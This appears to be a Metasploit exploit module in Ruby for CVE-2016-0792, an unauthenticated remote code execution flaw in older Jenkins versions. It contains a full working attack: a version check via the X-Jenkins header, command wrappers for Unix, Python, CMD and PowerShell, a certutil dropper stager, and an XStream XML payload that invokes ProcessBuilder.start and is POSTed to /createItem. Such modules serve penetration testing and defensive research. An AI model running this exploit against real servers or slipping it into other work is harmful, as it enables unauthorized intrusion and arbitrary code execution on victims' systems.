177 lines
5.1 KiB
Ruby
177 lines
5.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions
|
|
older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath,
|
|
which allows remote arbitrary code execution. The issue affects default installations. Authentication
|
|
is not required to exploit the vulnerability.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Arshan Dabirsiaghi', # Vulnerability discovery
|
|
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
|
|
],
|
|
'DisclosureDate' => 'Feb 24 2016',
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2016-0792'],
|
|
['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'],
|
|
['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413']
|
|
],
|
|
'Platform' => %w{ win linux unix },
|
|
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
|
|
'Targets' => [
|
|
['Unix (In-Memory)',
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD
|
|
],
|
|
['Python (In-Memory)',
|
|
'Platform' => 'python',
|
|
'Arch' => ARCH_PYTHON
|
|
],
|
|
['PowerShell (In-Memory)',
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64]
|
|
],
|
|
['Windows (CMD)',
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_CMD],
|
|
'Payload' => {
|
|
'Compat' => {
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'adduser, generic'
|
|
}
|
|
}
|
|
],
|
|
['Linux (Dropper)',
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64]
|
|
],
|
|
['Windows (Dropper)',
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64]
|
|
]
|
|
],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
|
|
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', '']),
|
|
Opt::RPORT('8080')
|
|
])
|
|
deregister_options('URIPATH')
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path)
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Unknown, 'The connection timed out.')
|
|
end
|
|
|
|
http_headers = res.headers
|
|
|
|
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
case target.name
|
|
when /Unix/, /Python/, /CMD/
|
|
execute_command(payload.encoded)
|
|
when /PowerShell/
|
|
execute_command(payload.encoded)
|
|
wait_for_session
|
|
else
|
|
execute_cmdstager({:flavor => :certutil})
|
|
wait_for_session
|
|
end
|
|
end
|
|
|
|
# Exploit methods
|
|
def execute_command(cmd, opts = {})
|
|
cmd = case target.name
|
|
when /Unix/, /Linux/
|
|
%W{/bin/sh -c #{cmd}}
|
|
when /Python/
|
|
%W{python -c #{cmd}}
|
|
when /Windows/, /CMD/
|
|
%W{cmd.exe /c #{cmd}}
|
|
when /PowerShell/
|
|
psh_opts = { :remove_comspec => true, :wrap_double_quotes => true }
|
|
%W{cmd.exe /c #{cmd_psh_payload(cmd, payload_instance.arch.first, psh_opts)}}
|
|
end
|
|
|
|
# Encode each command argument with XML entities
|
|
cmd.map! { |arg| arg.encode(xml: :text) }
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/createItem'),
|
|
'vars_get' => { 'name' => 'random' },
|
|
'ctype' => 'application/xml',
|
|
'data' => xstream_payload(cmd)
|
|
)
|
|
end
|
|
|
|
def wait_for_session
|
|
print_status "Waiting for exploit to complete..."
|
|
begin
|
|
Timeout.timeout(datastore['ListenerTimeout']) do
|
|
loop do
|
|
break if session_created?
|
|
Rex.sleep(0.25)
|
|
end
|
|
end
|
|
rescue ::Timeout::Error
|
|
fail_with(Failure::Unknown, "Timeout waiting for exploit to complete")
|
|
end
|
|
end
|
|
|
|
def xstream_payload(cmd)
|
|
<<EOF
|
|
<map>
|
|
<entry>
|
|
<groovy.util.Expando>
|
|
<expandoProperties>
|
|
<entry>
|
|
<string>hashCode</string>
|
|
<org.codehaus.groovy.runtime.MethodClosure>
|
|
<delegate class="groovy.util.Expando"/>
|
|
<owner class="java.lang.ProcessBuilder">
|
|
<command>
|
|
<string>#{cmd.join('</string><string>')}</string>
|
|
</command>
|
|
</owner>
|
|
<method>start</method>
|
|
</org.codehaus.groovy.runtime.MethodClosure>
|
|
</entry>
|
|
</expandoProperties>
|
|
</groovy.util.Expando>
|
|
<int>1</int>
|
|
</entry>
|
|
</map>
|
|
EOF
|
|
end
|
|
end
|